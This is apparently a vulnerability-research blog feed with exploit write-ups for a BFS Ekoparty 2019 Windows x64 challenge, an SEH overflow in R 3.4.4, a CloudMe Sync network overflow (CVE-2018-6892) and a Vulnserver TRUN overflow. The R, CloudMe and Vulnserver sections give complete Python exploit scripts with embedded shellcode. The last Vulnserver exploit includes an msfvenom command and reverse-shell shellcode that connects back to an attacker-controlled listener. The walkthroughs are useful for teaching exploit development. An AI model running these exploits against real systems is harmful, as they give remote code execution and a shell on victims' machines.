❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerability Research

BFS Ekoparty 2019 Exploitation Challenge - Override Banking Restrictions to get US Dollars

27 October 2019 at 10:48

FROM CRASH TO CODE EXECUTION

this is my first time giving a try into a windows x64 bits , and challenges offered by blue frost security

I’ve decided to give the 2019 BFS Exploitation Challenge a try. It is a Windows 64 bit executable\ for which an exploit is expected to work under Windows 10 Redstone 6

The Rules

  1. Bypass ASLR remotely
  2. 64-bit version exploitation
  3. Remote Execution

Inital Steps

we were given a windows binary only . this made me think, I cannot use any fuzzing technique because I dont know if it’s local or remote . let’s try doing some reverse engineering before, So I can understand what it is really doing.

Navigating through the main function , we notice that it is a remote application which listen to 54321

server

Identifying the Vulnerability

by disassembly the function , it is obvious that some checks need to bypassed in order to send send our payload correctly

checks

  1. if ( v6 == 16i64 )
  2. if ( *(_QWORD *)buf == β€˜0x393130326F6B45’ )
  3. strcpy(buf, β€œEko2019”);
  4. if ( size_data <= 512 )
  5. if ( (signed int)size_data % 8 )

the first validation our application is checking if our payload is equal to 16 bytes , then if buf is equal to 0x393130326F6B45 which trasnalte into 9102okE in hex. there is a strcpy that copy at the end of our payload Eko2019 , but we also have a size data validation which\ we cannot send more than 512 bytes , and it needs to be aligned correctly for 8 bytes. meaning we could send 8,16,24 so on

the β€œjle” instruction indicates a signed integer comparison, but later passed as unsigned which lead us an integer overflow

checks

after we successfully send a bigger payload, I notice it crashes after sending 229 bytes , but before that there is a instruction lea rcx, unk_7FF6A8A9E520, but what unk_7FF6A8A9E520 is holding or doing? after inspectioning deeper about this unk_7FF6A8A9E520 . we found there is an array with an offset of 256 with this structure

array_ret

the functionsub_7FF6A8A91000 will return our byte + 488B01C3C3C3C3h in this case 41 48 8B 01 C3 C3 C3 C3

this value will basically be used in the WriteProcessMemory(v2, sub_7FF7DD111000, &Buffer, 8ui64, &NumberOfBytesWritten); as buffer these to the function sub_7FF6A8A91000 as instructions allowing to control what we can execute when we reach it.

overwrite

we could see rax , and rcx was overwritten , but however rax was overwritten only one byte from the lower bytes, and rcx overwrite completely causing an access violation

.text:00007FF7DD111000 arg_0= qword ptr  8
.text:00007FF7DD111000
.text:00007FF7DD111000 db      42h
.text:00007FF7DD111000 mov     rax, [rcx]
.text:00007FF7DD111004 retn

why does this happen?

there’s a reason

  1. because of the value of the pointer of RCX that you control

Strategy

In order to bypass ASLR, we need to cause the server to leak an address that belongs to its process space. Fortunately, there is a call to the send() function , which sends 8 bytes of data, so exactly the size of a pointer in 64 bit land. That should serve our purpose just fine.

          qword_7FF7DD11D4E0 = printf(aRemoteMessageI, (unsigned int)counter_conection, &Dst);
          ++counter_conection;
          Buffer = what_the_heck_do(array[byte % -256]);
          v2 = GetCurrentProcess();
          WriteProcessMemory(v2, sub_7FF7DD111000, &Buffer, 8ui64, &NumberOfBytesWritten);
          *(_QWORD *)v3 = sub_7FF7DD111000(v9);
          send(s, v3, 8, 0);
          result = 1i64;

The strategy is getting control of the β€œbyte” variable Luckily, it is a stack variable adjacent to the β€œsize_data[512]” other than the default one at index 62 (0x3e).

I wrote a simple script to find gadgets in order to leak data from the running process

for i in $(cat file); do echo -e "\n$i" && rasm2 -b -D $i;done

after sometime research how I can read some information about the running process . I found what I could read via gs(segment register) because of x64 bits

0x65488B01C3C3C3C3
0x00000000   4                 65488b01  mov rax, qword gs:[rcx]
0x00000004   1                       c3  ret
0x00000005   1                       c3  ret
0x00000006   1                       c3  ret
0x00000007   1                       c3  ret

So this special register which could lead us to read _PEB , and our peb offset is at +0x060 ProcessEnvironmentBlock : Ptr64 _PEB via dt ntdll!_TEB

preparing our exploit

Leaking the PEB

  1. 0x65 = mov rax, qword gs:[rcx]
  2. 0x060 = _PEB
WINDBG>dt ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   +0x068 LastErrorValue   : Uint4B
   +0x06c CountOfOwnedCriticalSections : Uint4B
   +0x070 CsrClientThread  : Ptr64 Void
   +0x078 Win32ThreadInfo  : Ptr64 Void
   +0x080 User32Reserved   : [26] Uint4B

in order to make our exploit to leak the data . we need to find a way to derefence rcx with our _PEB offset\ So we can leak our PEB address to start leaking data to bypass ASLR

leak_peb

Leaking the ImageBaseAddress

WINDBG>dt ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void this our value we want to leak now 
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : Ptr64 Void
   +0x030 ProcessHeap      : Ptr64 Void
   +0x038 FastPebLock      : Ptr64 _RTL_CRITICAL_SECTION
   +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER
   +0x048 IFEOKey          : Ptr64 Void
   +0x050 CrossProcessFlags : Uint4B
   ....snip

Code execution

overwrite

R 3.4.4 - Buffer Overflow (SEH) DEP bypass

14 July 2019 at 19:33

this is the continuation of R 3.4.4 - Buffer Overflow (SEH) ,but this time we are going to cover seh based rop chain. after this is a continuation. we are going to skip some few things

to bypass DEP (prevention of data execution), We will need some things to build our rop chain for the SEH vulnerability and execute our code successfully

  • Pop pop ret not Possible
  • Code execution on stack failed
  • Rop chain
  • Bypass execution prevention
  • Way to return to our payload

I will show you in this simple image how our payload will look like

seh_rop

after we setup our stack pivot , traditional rop chain setup, and shellcode against our target as below

rop_chain

We have been able to execute mock shellcode , but we can change it by any other shellcode like reverse shell, calculators or even more malicious download - execute malware , but those things are out of topic here.

seh_rop_w00t

R 3.4.4 - Buffer Overflow (SEH)

9 July 2019 at 19:33

References (Source):

https://www.vulnerability-lab.com/get_content.php?id=2143

Release Date:

2018-08-27

Vulnerability Laboratory ID (VL-ID):

2143

Common Vulnerability Scoring System:

6.5

Vulnerability Class:

Buffer Overflow

Product & Service Introduction:

R is a language and environment for statistical computing and graphics. It is a GNU project which is similar to the S language and environment which was developed at Bell Laboratories (formerly AT&T, now Lucent Technologies) by John Chambers and colleagues. R can be considered as a different implementation of S. There are some important differences, but much code written for S runs unaltered under R. R is available as Free Software under the terms of the Free Software Foundation’s GNU General Public License in source code form. It compiles and runs on a wide variety of UNIX platforms and similar systems (including FreeBSD and Linux), Windows and MacOS.

(Copy of the Homepage: https://www.r-project.org/about.html )

Abstract Advisory Information:

An independent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official R v3.4.4 software.

Vulnerability Disclosure Timeline:

2018-08-27: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

R Project Product: R - Software (Windows & MacOS) 3.4.4

Exploitation Technique:

Local

Severity Level:

High

Authentication Type:

Restricted authentication (user/moderator) - User privileges

User Interaction:

No User Interaction

Disclosure Type:

Independent Security Research

Technical Details & Description:

A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software. The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. The vulnerability is marked as classic buffer overflow issue.

Proof of Concept (PoC):

The local buffer overflow vulnerability can be exploited by local attackers without user interaction and with system privileges. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:

generate payload.txt, copy contents to clipboard

pen app, select Edit, select β€˜GUI preferences’

paste payload.txt contents into β€˜Language for menus and messages’

select OK

pop calc

As we can see , we could notice that we could produce an exception by sending a huge amount of bytes

crash

this software is pretty basic as ASLR / SafeSEH are all set to false making the exploit reliable, and universal exploit.

we can check using:

.load pykd.pyd
!py mona modules
!py mona nosafesehaslr

we can see that this are our right modules for our reliable exploit .

-----------------------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
 0x643c0000 | 0x643d4000 | 0x00014000 | False  | False   | False |  False   | False  | -1.0- [Riconv.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Riconv.dll)
 0x6c900000 | 0x6e76e000 | 0x01e6e000 | False  | False   | False |  False   | False  | 3.44.8872.0 [R.dll] (C:\Program Files\R\R-3.4.4\bin\i386\R.dll)
 0x6bec0000 | 0x6c16d000 | 0x002ad000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rlapack.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Rlapack.dll)
 0x63940000 | 0x63990000 | 0x00050000 | False  | False   | False |  False   | False  | 3.44.8872.0 [graphics.dll] (C:\Program Files\R\R-3.4.4\library\graphics\libs\i386\graphics.dll)
 0x63740000 | 0x637a5000 | 0x00065000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rgraphapp.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Rgraphapp.dll)
 0x71300000 | 0x713c7000 | 0x000c7000 | False  | False   | False |  False   | False  | 3.44.8872.0 [stats.dll] (C:\Program Files\R\R-3.4.4\library\stats\libs\i386\stats.dll)
 0x64c40000 | 0x64c51000 | 0x00011000 | False  | False   | False |  False   | False  | 3.44.8872.0 [methods.dll] (C:\Program Files\R\R-3.4.4\library\methods\libs\i386\methods.dll)
 0x00400000 | 0x0041b000 | 0x0001b000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rgui.exe] (C:\Program Files\R\R-3.4.4\bin\i386\Rgui.exe)
 0x6e7c0000 | 0x6e7eb000 | 0x0002b000 | False  | False   | False |  False   | False  | 3.44.8872.0 [utils.dll] (C:\Program Files\R\R-3.4.4\library\utils\libs\i386\utils.dll)
 0x6fe80000 | 0x6ff95000 | 0x00115000 | False  | False   | False |  False   | False  | 3.44.8872.0 [grDevices.dll] (C:\Program Files\R\R-3.4.4\library\grDevices\libs\i386\grDevices.dll)
-----------------------------------------------------------------------------------------------------------------------------------------

Poc Code

#!/usr/bin/python
import struct

outfile = 'payload.txt'

junk = "A" * 1012

nseh = struct.pack("<L", 0xeb069090) # jmp short 6

seh = struct.pack("<L", 0x6cbff306) # 0x6cbff306 : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:\Program Files\R\R-3.4.4\bin\i386\R.dll)


# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' cmd=calc.exe exitfunc=thread -f python
nops = "\x90" * 20

shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

padding = "D" * (8000-1012-4-4-len(shellcode))


payload = junk + nseh + seh + nops + shellcode + padding

with open(outfile, 'w') as file:
  file.write(payload)
print "txt payload File Created\n"

CloudMe Sync <= v1.10.9

8 July 2019 at 16:07

Product:

CloudMe Sync <= v1.10.9

CloudMe is a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software. It features a blue folder that appears on all devices with the same content, all files are synchronized between devices.

Vulnerability Type:

Buffer Overflow

CVE Reference:

CVE-2018-6892

Security Issue:

Unauthenticated remote attackers that can connect to the β€œCloudMe Sync” client application listening on port 8888, can send a malicious payload causing a Buffer Overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC.

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8)

socket

In Qt5Core:

q5_network

lets try to send some junk data to our service listening at 8888

crash

this software is very easy as ASLR / SafeSEH are all set to false making the exploit reliable, and universal exploit. as we can also see the crash overwritte eip , edi , ebx in this case . we can see we have two attack vectors via SEH or Stack Based Overflow

#!/usr/bin/python
# tested on windows 7 x86 sp1 enterprise
import socket
import struct

# pop calc.exe

shellcode =  "\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
shellcode += "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
shellcode += "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
shellcode += "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
shellcode += "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
shellcode += "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
shellcode += "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC"


payload = "A" * 1036 + '\x25\xDF\xB8\x68' + "\x90" * 16 + shellcode

try:
    print "\nSending tons of random bytes..."
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.0.27', 8888)) 
    client.send(payload) 
    client.close() 
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 8888 for some reason..."

Windows-Based Exploitation β€” VulnServer TRUN Command Buffer Overflow

8 July 2019 at 16:07

Vulnserver.exe

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.

before we trying to exploit lets explore how this problem works. We identify that this program is a tiny server which exposes a set of commands

help

lets disassembly our TRUN command . how it looks like and it is comparing if it is equal to TRUN by calling _strncmp . So lets add a breakpoint at the top the block ,and dig more

TRUN

we notify it’s checking if the first character of the remaining input is 2EH which is translated to ASCII as .

dot

Let’s debug again but now with an input that starts with a ..

By stepping over a bit further there is an interesting function being called which is named _Function3. using F7 to step into the function we can see that the function copies the content , but there are not any checks for buffer boundaries. literally we could overwrite it

vulnerable

Fuzzing the Vulnserver

we write a simple Fuzzer to replicate the check unexpected crashes incrementing by 200 bytes each time with the following code:

#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" % len(string)
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect(('192.168.0.27',9999))
  s.recv(1024)
  s.send(('TRUN .' + string + '\r\n'))
  s.recv(1024)
  s.send('EXIT\r\n')
  s.close()

we can see the Vulnserver stop working at 2100 bytes.

Vulnserver

  • Replicating the Crash *

From our fuzzer output, we can deduce that Vulnserver has a buffer overflow vulnerability when a TRUN command with a random strings about 2100 bytes is sent to it.

#!/usr/bin/python
import socket
import struct


payload = 'A' * 2100 

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Controlling EIP

We sent 2100 β€˜A’ characters and EIP was overwritten with 41414141, which is the hex code of the β€˜A’ character. EIP was overwritten with our buffer. If we find the position of the EIP in our buffer, then we can overwrite it with any value.

Vulnserver_1

to check the exact match of our crash execute the another tool called gdb-peda with the following

Vulnserver_2

Update the PoC script the following: First send 2006 A character, then send 4 B, then C characters.

#!/usr/bin/python
import socket
import struct

payload = 'A' * 2006 + "B" * 4 + "C" * (3500-2006-4)

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Check bad characters

Depending on the application, vulnerability type, and protocols in use, there may be certain characters that are considered β€œbad” and should not be used in your buffer, return address, or shellcode

we generate a bytearray from the immunity debugger:

Vulnserver_3

the bytearray generated from immunity debugger we update our PoC with them to see what are our bad chars

#!/usr/bin/python
import socket
import struct

badchars =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a"
badchars += "\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15"
badchars += "\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b"
badchars += "\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36"
badchars += "\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
badchars += "\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
badchars += "\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57"
badchars += "\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
badchars += "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d"
badchars += "\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
badchars += "\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83"
badchars += "\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
badchars += "\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
badchars += "\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
badchars += "\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
badchars += "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba"
badchars += "\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
badchars += "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars += "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb"
badchars += "\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6"
badchars += "\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1"
badchars += "\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc"
badchars += "\xfd\xfe\xff"

payload = 'A' * 2006 + "B" * 4 + "C" * (3500-2006-4-len(badchars))

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

we lauch our PoC and check the output

Vulnserver_4

we have a badchar 0x00 , but I will need to check if there are any other bad char repeating the same process again.

we genarate our new bytearray , but execluding our bad char from the first output.

!mona bytearray -cpb "\x00"

we compare again if any byte were modified from the crash to see our badchar, and we don’t have anyother badchar

Vulnserver_5

Redirecting the Execution Flow

In this step we have to check the registers and the stack. We have to find a way to jump to our buffer to execute our code. ESP points to the beginning of the C part of our buffer. We have to find a JMP ESP or CALL ESP instruction. Do not forget, that the address must not contain bad characters!

Vulnserver_6

Generating Shellcode with Metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=8080 -b β€œ\x00” -f python -v shellcode

Place the generated code into the PoC script and update the buffer, so that the shellcode is placed after the EIP, in the C part. Place some NOP instructions before the shellcode. (NOP = 0x90) The final exploit:

#!/usr/bin/python
import socket
import struct

shellcode =  ""
shellcode += "\xb8\xc5\x97\xc9\x70\xdb\xc1\xd9\x74\x24\xf4\x5b"
shellcode += "\x2b\xc9\xb1\x52\x31\x43\x12\x03\x43\x12\x83\x06"
shellcode += "\x93\x2b\x85\x74\x74\x29\x66\x84\x85\x4e\xee\x61"
shellcode += "\xb4\x4e\x94\xe2\xe7\x7e\xde\xa6\x0b\xf4\xb2\x52"
shellcode += "\x9f\x78\x1b\x55\x28\x36\x7d\x58\xa9\x6b\xbd\xfb"
shellcode += "\x29\x76\x92\xdb\x10\xb9\xe7\x1a\x54\xa4\x0a\x4e"
shellcode += "\x0d\xa2\xb9\x7e\x3a\xfe\x01\xf5\x70\xee\x01\xea"
shellcode += "\xc1\x11\x23\xbd\x5a\x48\xe3\x3c\x8e\xe0\xaa\x26"
shellcode += "\xd3\xcd\x65\xdd\x27\xb9\x77\x37\x76\x42\xdb\x76"
shellcode += "\xb6\xb1\x25\xbf\x71\x2a\x50\xc9\x81\xd7\x63\x0e"
shellcode += "\xfb\x03\xe1\x94\x5b\xc7\x51\x70\x5d\x04\x07\xf3"
shellcode += "\x51\xe1\x43\x5b\x76\xf4\x80\xd0\x82\x7d\x27\x36"
shellcode += "\x03\xc5\x0c\x92\x4f\x9d\x2d\x83\x35\x70\x51\xd3"
shellcode += "\x95\x2d\xf7\x98\x38\x39\x8a\xc3\x54\x8e\xa7\xfb"
shellcode += "\xa4\x98\xb0\x88\x96\x07\x6b\x06\x9b\xc0\xb5\xd1"
shellcode += "\xdc\xfa\x02\x4d\x23\x05\x73\x44\xe0\x51\x23\xfe"
shellcode += "\xc1\xd9\xa8\xfe\xee\x0f\x7e\xae\x40\xe0\x3f\x1e"
shellcode += "\x21\x50\xa8\x74\xae\x8f\xc8\x77\x64\xb8\x63\x82"
shellcode += "\xef\x07\xdb\x8c\xe2\xef\x1e\x8c\xe3\x7f\x97\x6a"
shellcode += "\x71\x90\xfe\x25\xee\x09\x5b\xbd\x8f\xd6\x71\xb8"
shellcode += "\x90\x5d\x76\x3d\x5e\x96\xf3\x2d\x37\x56\x4e\x0f"
shellcode += "\x9e\x69\x64\x27\x7c\xfb\xe3\xb7\x0b\xe0\xbb\xe0"
shellcode += "\x5c\xd6\xb5\x64\x71\x41\x6c\x9a\x88\x17\x57\x1e"
shellcode += "\x57\xe4\x56\x9f\x1a\x50\x7d\x8f\xe2\x59\x39\xfb"
shellcode += "\xba\x0f\x97\x55\x7d\xe6\x59\x0f\xd7\x55\x30\xc7"
shellcode += "\xae\x95\x83\x91\xae\xf3\x75\x7d\x1e\xaa\xc3\x82"
shellcode += "\xaf\x3a\xc4\xfb\xcd\xda\x2b\xd6\x55\xea\x61\x7a"
shellcode += "\xff\x63\x2c\xef\xbd\xe9\xcf\xda\x82\x17\x4c\xee"
shellcode += "\x7a\xec\x4c\x9b\x7f\xa8\xca\x70\xf2\xa1\xbe\x76"
shellcode += "\xa1\xc2\xea"

payload = 'A' * 2006 + struct.pack("<L",0x625011AF) + '\x90' * 16 + shellcode

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Done! Wonder if we got that shell back?

Vulnserver_7

❌
❌